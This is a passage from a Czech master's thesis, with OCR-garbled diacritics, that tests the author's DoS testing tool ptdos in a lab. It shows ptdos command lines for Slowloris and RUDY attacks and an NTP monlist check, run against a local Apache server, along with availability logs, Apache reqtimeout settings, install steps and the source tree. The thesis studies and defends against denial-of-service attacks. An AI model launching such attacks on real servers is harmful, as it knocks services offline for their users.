v terminalu. Pokud je jako odpovéd vracen seznam klientt, kteri se nedavno dota-
zovali NTP serveru anebo pokud je vracena hlaska o nenalezeni dat, tak je monlist
na strané NTP serveru povolen. V pripadé, Ze je vracena informace o vyprseni ¢aso-
vého limitu zadosti, tak je monlist zakdzén,[42] viz obr. [3.11] Diky této skutecnosti
nebyl nalezen zadny verejné dostupny N'TP server, ktery by mél povoleno ptijiméani
pozadavku monlist, a mohl tak byt vyuzit v rdmci testovani. Diky této skutecnosti
lze dojit k zavéru, ze zesilujici utok N'TP jiz neni mozné v soucasné dobé pouzi-
vat pro testovani DoS utoktl, protoze zranitelnost, ktera umoznovala zesileni ttoku,
je pri modernich NTP serverech zablokovana.
debian@debian:~$ ntpdc -n -c monlist pool.ntp.org

pool.ntp.org: timed out, nothing received
***Request timed out

Obr. 3.11: Ovéreni dostupnosti funkce monlist na NTP serveru.

3.6 Testovani logického pomalého utoku Slowloris

Slowloris se snazi otevienymi spojenimi s cilovym systémem vycerpat jeho pro-
sttedky, potazmo dostupné spojeni, které muze udrzet oteviena, a tim docilit ode-
preni poskytované sluzby. Vytvoreni spojeni probiha pomoci protokolu HTTP s me-
todou GET. Pro kontrolu dostupnosti cilového systému je kromé check service
navic vyuzivan nastroj httping’] jehoz funkénost je s check service prakticky to-

toznéa, ale httping umi navic zobrazit jednotlivé pozadavky v realném case.

3.6.1 Scénar s vychozi konfiguraci webového serveru Apache

Ve vychozi konfiguraci umoznuje webovy server Apache otevtit 150 konkurenc-
nich spojeni. Nastaveni mnozstvi konkurencnich spojeni je dostupné v konfigurac-

nim souboru mpm_prefork.conf, kde je mnozstvi spojeni stanoveno proménnou

"Démon ntpd je vyuzivain NTP klienty i servery pro spravnou synchronizaci ¢asu.[43]
8Pro spusténi funkce ntpdc je nutné nainstalovat ndstroj ntp pomoci apt-get install ntp
9Httping pracuje na podobném principu jako ping, rozdilem je, Zze pro kontrolu dostupnosti neni

vyuzivan protokol ICMP a echo request pakety, ale protokol HTTP a GET pozadavky, viz https:
//github.com/pjperez/httping.
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MaxRequestWorkers, viz vypis[3.3] Vychozi hodnota doby vyprseni otevieného spo-
jeni s Apache serverem je dle dokumentace stanovena na 60 sekund,[44] coz je mozné
zkontrolovat v konfigura¢nim souboru apache2.conf, kde vyprseni spojeni udava
proménna Timeout.

<IfModule mpm_prefork_module>

MaxRequestWorkers 150
</IfModule>

Vypis 3.3: Nastaveni modulu mpm_prefork webového serveru Apache.

Diky popsanym skutecnostem by mélo byt dostacujici, aby pTi testovani ttoku
bylo vytvoreno 150 spojeni a bude dosazeno odepreni poskytované sluzby cilovym
systémem. Interval odesilani ¢asti HT'TP hlavi¢ek pro udrzeni otevieného spojeni
je nastaven na 50 sekund, aby nepresahl hodnotu 60 sekund Apache. Celkova doba
utoku je nastavena na 120 sekund, aby bylo znazornéno udrzeni sestavenych spojeni.
Kompletni spoustéci piikaz ptdosu je uveden ve vypisu
ptdos -a slowloris -d 120 -dst http://192.168.0.80 -dp 80 -sq 150 -

st 30

Vypis 3.4: Spoustéci piikaz aplikace ptdos pro realizaci itoku Slowloris.

7 grafu na obr. je zrejmé, ze na zacatku tutoku bylo vytvoreno pozadované
mnozstvi 150 spojeni. Jakmile byly spojeni vytvorené, doslo k odepteni poskyto-
vané sluzby cilovym systémem, coz je podporeno vysledky z méfreni pomoci nastroje
httping ve vypise [3.5] kde je vidét, ze cilovy systém v ¢ase 19:33:52 az 19:34:12 ne-
odpovidal na zasilané pozadavky. Po 20 sekundach byla vSechna spojeni webovym
serverem ukoncena, ¢imz byla obnovena dostupnost sluzby. Diky implementované
obnové uzavienych spojeni, v ¢ase 19:35:30 ptdos opétovné otevrel ¢ast zavienych
spojeni, ta byla opét po 20 sekundach ukoncena cilovym systémem. Celkem bylo
monitorovaci sluzbou, viz [3.13] zachyceno 83,3 % tspé&snych a pouze 16,7 % neu-
spésnych odpovédi, coz z pohledu celé doby testovani znamenad, ze nenastalo trvalé
odepreni poskytované sluzby.
19:33:52.069timeout while receiving reply-headers from host

19:34:12.134timeout while receiving reply-headers from host
19:34:14.140 connected to 192.168.0.80:80 (276 bytes), seq=6 time= 5,00 ms 200 OK

19:35:53.436 connected to 192.168.0.80:80 (276 bytes), seq=55 time= 4,99 ms 200 OK
Vypis 3.5: Zkraceny pribéh kontroly dostupnosti cilového systému pri ttoku
Slowloris s vychozi konfiguraci Apache.

Pri analyzovani pribéhu tutoku bylo zjisténo, ze uzavirani vytvorenych spo-
jeni je zapric¢inéno modulem reqtimeout webového serveru Apache. Tento modul

slouzi k nastaveni c¢asovym limitim a minimalni datové rychlosti pro prijimani
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Obr. 3.12: Oteviena spojeni s cilovym systémem pii utoku Slowloris s vychozi kon-

figuraci Apache.

pozadavki. Pokud dojde k vyprSeni casového limitu anebo dojde k prilis nizké
rychlosti pfenosu dat, modul odpovidajici spojeni uzavie.[45] V konfiguraci mo-
dulu reqtimeout, viz vypis [3.6] jsou nastaveny limity pro hlavicku i télo poza-
davku. Na tutok Slowloris se vztahuje ¢ast RequestReadTimeout header, kde hod-
nota header=20-40 udava dobu ¢ekani 20 sekund na doruceni prvniho bajtu hlavicky
pozadavku. Od té doby je vyzadovan datovy tok alespon 500 B/s, maximélné vsak
po celkovou dobu 40 sekund od otevreni spojeni. Protoze testovany tutok Slowloris
nedosahl datového toku 500 B/s, tak byly vytvorené spojeni ukonceny, coz je patrné
z grafu na obr. kde jsou vytvorena spojeni ukoncena Apachem po 20 sekundach.
<IfModule reqtimeout_module>
RequestReadTimeout header=20-40, minrate=500

RequestReadTimeout body=10, minrate=500
</IfModule>

Vypis 3.6: Nastaveni modulu reqtimeout webového serveru Apache.
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Obr. 3.13: Podil tispésnych a netspésnych pozadavk monitorovaci sluzby pri itoku

Slowloris s vychozi konfiguraci Apache.

3.6.2 Scénar s vypnutym modulem reqtimeout serveru Apache

V rdmci scénare bez zabezpeceni je vypnut modul reqtimeout pomoci prikazu sudo

a2dismod reqtimeout. Zbytek nastaveni serveru bylo ponechano, véetné maximal-
niho poctu spojeni 150. V grafu na obr. [3.14]je vidét, ze pocet 150 otevienych spojeni
byl udrzen po celou dobu trvani atoku. V rdmci po¢tu odeslanych paket bylo nej-
vice paketll na zacatku a na konci atoku. Na zacatku doslo k vytvoreni jednotlivych
spojeni a naopak na konci k jejich ukonceni. V grafu jsou rovnéz vidét pakety pa-
trici k udrzeni otevieného spojeni, viz ¢asy utoku 22:48:20 a 22:49:10. Rozestup
je 50 sekund, protoze tak byl zvolen interval pro odesilani ¢asti HI'TP hlavicek.
7 grafu je patrné, ze doslo k odepteni sluzby cilového systému prakticky po ce-
lou dobu ttoku Slowloris, protoze celkem 96,8 % pozadavki monitorovaci sluzby

bylo netspésnych.

3.7 Testovani logického pomalého utoku RUDY

Utok RUDY pati{ do stejné skupiny ttoki jako Slowloris, takze pritbéh testovani
je Slowlorisu velmi podobny, z toho diivodu budou zminény zejména odliSnosti mezi
obéma ttoky. Utok RUDY pro vytvoreni spojeni s cilovym systémem vyuziva taktéz
protokol HT'TP, ale s metodou POST. Testovani bylo rozdéleno opét do dvou scénait
a to na scénar s vychozi konfiguraci Apache a na scénar s omezenym zabezpecenim

diky vypnuti modulu reqtimeout.

3.7.1 Scénar s vychozi konfiguraci webového serveru Apache

Ve vychozim nastaveni Apache bylo ponechano maximalné 150 konkurencnich spo-
jeni a 60 sekund vyprseni otevieného spojeni. Spoustéci prikaz testovani utoku
RUDY je uveden ve vypisu Pri dtoku je zneuzivan webovy formuldr testo-
vaci webové stranky, viz obr. kde jsou pfi utoku vyplnéna vsechna pole pomoci

argumenttt v URL. Doba trvani ttoku je ponechdna na 120 sekund, stejné jako
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Obr. 3.14: Oteviena spojeni s cilovym systémem pri utoku Slowloris s vypnutym

modulem reqtimeout Apache.

interval obnovy spojeni, ktery ma hodnotu 50 sekund, celkem bude s cilovym sys-
témem v rdmeci testovani vytvofeno 150 spojeni. Utok byl zahdjen v ¢ase 00:21:10,
kdy ptdos postupné vytvarel spojeni az do pozadovanych 150, kdy bylo na ma-
lou chvili dosaZeno odepfeni poskytované sluzby, coZ bylo zachyceno ve vypisu [3.8|
7 grafu na obr. je vidét, ze ihned po dosazeni 150 spojeni, zacal webovy server
jednotliva spojeni ukoncovat. V case 00:22:05 uplynul interval pro obnoveni spo-
jeni a ptdos vyslal obnovovaci data, coz je zachyceno v grafu poctu paketii. Ob-
noveni bylo netspésné, protoze dana spojeni jiz byla zaviena webovym serverem.
O 50 sekund pozdéji, case 00:22:55, vytvoril ptdos nova spojeni, ktera byla stejné
jako na zacatku, po 10 sekundach ukoncena. Diky témto skutecnostem nenastalo
trvalé odepreni poskytované sluzby, coz potvrzuje i monitorovaci sluzba, kdy bylo
celkem 86,7 % vSech pozadavku tspésnych. Jak bylo zjisténo pri titoku Slowloris, tak
ukonceni spojeni mé na starost modul reqtimeout webového serveru Apache. Zasad-
nim rozdilem je, ze pri itoku RUDY doslo k ukoncovani spojeni jiz po 10 sekundach.
To je zptisobeno konfiguraci modulu reqtimeout, viz vypis [3.6] Konkrétné se jednd
o ¢ast téla pozadavku RequestReadTimeout body, protoze RUDY pro udrzeni ote-

vieného spojeni vyuziva pomalé zasilani téla pozadavku POST. Hodnota body=10
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Obr. 3.15: Podil tspésnych a netspésnych pozadavkit monitorovaci sluzby pti iitoku

Slowloris s vypnutym modulem reqtimeout Apache.

00:21:15.727timeout while receiving reply-headers from host
00:21:19.731timeout while receiving reply-headers from host
00:21:23.736timeout while receiving reply-headers from host
00:21:25.740 connected to 192.168.0.80:80 (276 bytes), seq=3 time= 3,70 ms 200 OK

00:22:53.904 connected to 192.168.0.80:80 (276 bytes), seq=47 time= 2,78 ms 200 0K
00:22:57.909timeout while receiving reply-headers from host
00:23:01.912timeout while receiving reply-headers from host
00:23:05.641 connected to 192.168.0.80:80 (276 bytes), seq=50 time=1728,93ms 200 0K

Vypis 3.8: Zkraceny pribéh kontroly dostupnosti cilového systému pii atoku RUDY
s vychozi konfiguraci webového serveru.

udava dobu ¢ekani webového serveru 10 sekund na prvni bajt téla pozadavku. Para-
metr minrate=500 specifikuje, ze nasledna komunikace musi mit minimalni datovy
tok o velikosti 500 B/s, jinak bude spojeni ukoné¢eno. Pozadavek na datovy tok
splnén nebyl a z toho divodu bylo spojeni mezi ttoc¢nikem a cilovym systémem
ukonceno po 10 sekundach.

ptdos -a rudy -dst "http://192.168.0.80/submit.php?name=filip&email
=test&phone=777&message=test" -dp 80 -d 120 -st 50 -sq 150

Vypis 3.7: Spoustéci ptikaz aplikace ptdos pro realizaci itoku RUDY.

3.7.2 Scénarf s vypnutym modulem reqtimeout serveru Apache

Vypnuti modulu reqtimeout i nastaveni webového serveru je stejné jako v kapi-
tole V grafu otevienych spojeni, obr. [3.18] byl zah&jen ttok v Case 23:57:30.
Vsechna vytvorend spojeni byla udrzena oteviena po celou dobu tutoku. V grafu
pakett je zaznamenan 50 sekundovy interval obnoveni spojeni ke kterému doslo
v casech 23:58:20 a 23:59:10. Diky udrzeni otevieni vSech spojeni doslo k odepreni
poskytované sluzby cilovym systémem, coz je podporeno namérenymi daty monito-
rovaci sluzby, viz graf [3.19]
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Obr. 3.16: Oteviena spojeni s cilovym systém pri utoku RUDY s vychozi konfiguraci
Apache.
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chyba

Obr. 3.17: Podil ispésnych a netspésnych pozadavk monitorovaci sluzby pri itoku
RUDY s vychozi konfiguraci webového serveru.
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Obr. 3.18: Oteviena spojeni s cilovym systém pri utoku RUDY s vypnutym modulem
reqtimeout Apache.

chyba

Obr. 3.19: Podil tspésnych a netspésnych pozadavkii monitorovaci sluzby pti itoku
RUDY s vypnutym modulem reqtimeout Apache.
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Zavér

Diplomova prace se zaméruje na utoky cilené na odepreni dostupnosti sluzeb, je-
jich podrobnou analyzu a vyvoj vlastni aplikace realizujici DoS tutoky, jenz pod-
pori testovani DoS utokt za tcelem zvyseni bezpecnosti v kybernetickém prostredi.
V teoretické ¢éasti prace jsou uvedeny definice zakladnich pojmil, motivace utoc¢nika
a jednotlivé DoS utoky, jenz byly rozrazeny do dvou zakladnich kategorii logickych
a zdplavovych. Pti popisovani DoS tutokl byl kladen diraz na vysvétleni jejich
zakladniho principu a pomoci prilozenych obrazkt znazornit, jak itocnik dosdhne
pri kazdém ttoku odepreni poskytované sluzby cilovym systém.

V praktické c¢asti prace byla navrzena a implementovana vlastni aplikace ptdos
slouzici k testovani DoS utoki a odolnosti webovych aplikaci. Celkové bylo do apli-
kace implementovano 11 DoS utokt, coz je o jeden vice nez bylo vyzadovano za-
danim. Soucasti aplikace jsou tri hlavni ¢asti - fidici ¢ast, monitorovaci ¢ast a cast
utokt. Pri vyvoji byl kladen vysoky diraz na snadnou budouci rozsititelnost apli-
kace. Z toho divodu byla zvolena pro ¢ast utoktt modularni architektura, kdy kazdy
utok je pridan do aplikace jako samostatny plugin, ktery je na ostatnich ttocich zcela
nezavisly. Pro komunikaci s aplikaci bylo zvoleno konzolové rozhrani, jenz je vyu-
zivano lidskou obsluhou, a strojové ¢itelné API rozhrani, které slouzi pro integraci
s externimi systémy, zejména tedy se systém Penterep, coz byl pozadavek specifiko-
vany zadanim prace.

Pro ucely testovani aplikace byla navrzena a sestavena testovaci sit obsahujici
zalizeni utoc¢nika a cilového systému, jakozto webového serveru, na ktery je ttoceno.
V pripadé potteby je testovani jednotlivych ttokt doplnéno o podrobnéjsi testovaci
scénare za ucelem lepsi demonstrace funkénosti danych ttokt. Testovani potvrdilo
funkcénost aplikace a jeji nasazeni v praxi pii realizaci penetracnich ¢i zatézovych
testi. Pro lepsi demonstraci funkcénosti aplikace byly vytvoreny ukazkové videa,
jenz popisuji instalaci aplikace, zptisob ovladani a priubéh realizovanych ttokt. Pro
snazsi instalaci byla aplikace ptdos umisténa do verejné pristupného repositare Py-
thon aplikaci, PyPI. VSechny stanovené cile diplomové prace byly splnény. Dosazené

vysledky byly tispésné prezentovany na studentské konferenci EEICT 2022.
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OS Operating System
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A Dokumentace aplikace ptdos

A.1 Instalace aplikace ptdos

Pro instalaci aplikace je nutné mit nainstalovany Python ve verzi 3.10+ a podporo-
vanou Linuxovou distribuci. Idedlni je distribuce Ubuntu ve verzi 22.04+, ve které

je jiz Python 3.10 obsazen.

A.1.1 Instalace z PyPI repozitare

Pro jednodussi instalaci byl ptdos vypublikovén na vetejného repozitare PyPI] Nej-
prve je nutné nainstalovat aplikaci pip a poté samotnou aplikaci ptdos. Ta se poté
spousti ptikazem ptdos v konzoli, viz vypis [A.I] Instalace z PyPI krok za krokem
je ukdzéna ve videu https://youtu.be/JEnX7tkwKDY.

$ sudo apt install python3-pip
$ sudo pip install ptdos
$ ptdos --help

Vypis A.1: Instalace aplikace ptdos z PyPI repozitére.

A.1.2 Instalace ze zdrojového kadu

Zdrojovy kod se nachazi v elektronické ptiloze prace anebo v online repositari
na platformeé GitHub, viz https://github.com/FilipKam/ptdos. Opét je nutné
stahnout aplikaci pip a k tomu jesté aplikaci git, kterd umozni stazeni zdrojo-
vého kédu z repositare (pozn. v pripadé elektronické prace je mozné git vynechat).
Po stazeni zdrojového kédu je nutné nainstalovat externi knihovny specifikované
v requirements.txt. Po nainstalovani knihoven je mozné spustit aplikaci, ovSem
pouze z kofenového adresare a vzdy s python3 na zacatku prikazu. Instalace z Gi-
tHubu krok za krokem je ukdzana ve videu https://youtu.be/LcEu9PfbS8w.

$ sudo apt install python3-pip

$ sudo apt install git

$ git clone https://github.com/FilipKam/ptdos
$ cd ptdos

$ pip install -r requirements.txt

$ cd ptdos

$ python3 ptdos.py --help

Vypis A.2: Instalace aplikace ptdos ze zdrojového kodu.

Ihttps://pypi.org/project/ptdos/
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A.2 Podrobny navod k pouziti

Podrobny popis instalace aplikace a jejitho pouziti je ulozen v souboru README.md,
ktery je soucasti zdrojového koédu, jenz je soucasti elektronické ptilohy. Soubor
README.MD je mozné zobrazit i pfimo v repositari na platformé GitHub. Na videu
https://youtu.be/Q3Gu_bcwJtE je okomentované ovladani ptdosu véetné spusténi
utoku a vyhodnoceni a na videu https://youtu.be/cvvZuKXVFQOU je znazornéno
spusténi utokl a zobrazeni jejich pribéhu na cilovém systému ve formé webového
serveru. Chovani aplikace je demonstrovano pro zaplavovy utok UDP flood a pomaly

utok Slowloris.
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B Obsah elektronické prilohy

| ptdos_source.zip

kotrenovy adresar prilozeného archivu

| _Penterep_JSON_nastroje.pdf....dokumentace JSON objektu systému Penterep

zdrojovy kod aplikace ptdos

| ptdos
| _infrastructure........ slozka se soubory definujici architekturu aplikace
attack.py
factory.py
loader.py
S T AP slozka s vlastnimi knihovnami

globalfuncs.py
ntp_servers. json
pt_http.py
pt_icmp.py
pt_ip.py
pt_ntp.py
pt_socket.py
pt_udp.py
user_agents. json

| _monitoring slozka monitorovaci sluzby

lg,ptcheckservice.py

| plugins.......ooiiii e
httpgetflood.py

httpheadflood.py

httppostflood.py

slozka s pluginy dtoku

icmpflood.py
ntpampl.py
pingofdeath.py
rudy.py
slowloris.py
smurf .py
synflood.py
udpflood.py

| config.json definice vSech pluginii

| PtdoS.PY.ciiiiiiiiiii hlavni soubor slouzici ke spusténi aplikace
| VETrSIOm.PY ttetiiiii e soubor udavajici verzi aplikace
L README . .Id .ttt it ettt e e e e e e popis projektu
| requirements.txt.................. soubor s pozadavky na externi knihovny
| SEtUP . PY .ttt soubor definujici vytvoreni pip balicku

zdrojovy kod testovaci webové stranky

88



	Úvod
	Cíle práce
	Útoky cílené na odepření dostupnosti služeb
	Definice základních pojmů
	Motivace útočníka
	Rozdělení útoků dle typu
	Záplavové
	Logické

	Distribuované útoky
	DDoS-as-a-Service
	Rozdělení útoků dle vrstvy ISO/OSI
	Popis vybraných útoků
	SYN flood
	UDP flood
	HTTP GET flood
	HTTP POST flood
	HTTP HEAD flood
	ICMP flood
	Smurf
	Ping of death
	Zesilovací útok NTP
	Slowloris
	RUDY

	Analýza existujících nástrojů pro realizaci útoků

	Vlastní návrh a implementace aplikace
	Lokální vývojové prostředí
	Návrh architektury aplikace
	Komunikační rozhraní
	Vstupní parametry aplikace
	Struktura aplikace, modulů a vlastních knihoven
	Monitorovací služba check service
	Vývoj vlastních pluginů DoS útoků
	Plugin SYN flood
	Plugin UDP flood
	Plugin HTTP GET flood
	Plugin HTTP HEAD flood
	Plugin HTTP POST flood
	Plugin ICMP flood
	Plugin Smurf
	Plugin Ping of death
	Plugin zesilovacího útoku NTP
	Plugin Slowloris
	Plugin RUDY

	Integrace s externím systémem Penterep
	Architektura Penterep
	Komunikační schéma Penterepu
	API rozhraní aplikace ptmanager


	Testování aplikace ptdos
	Popis testovací sítě
	Testování záplavových útoků
	Scénář s plnou šířkou pásma
	Scénář s omezenou šířkou pásma

	Testování zesilovacího útoku Smurf
	Scénář se dvěma boty
	Scénář se čtyřmi boty

	Testování logického útoku Ping of death
	Testování zesilovacího útoku NTP
	Testování logického pomalého útoku Slowloris
	Scénář s výchozí konfigurací webového serveru Apache
	Scénář s vypnutým modulem reqtimeout serveru Apache

	Testování logického pomalého útoku RUDY
	Scénář s výchozí konfigurací webového serveru Apache
	Scénář s vypnutým modulem reqtimeout serveru Apache


	Závěr
	Literatura
	Seznam symbolů a zkratek
	Seznam příloh
	Dokumentace aplikace ptdos 
	Instalace aplikace ptdos 
	Instalace z PyPI repozitáře 
	Instalace ze zdrojového kódu 

	Podrobný návod k použití 

	Obsah elektronické přílohy 

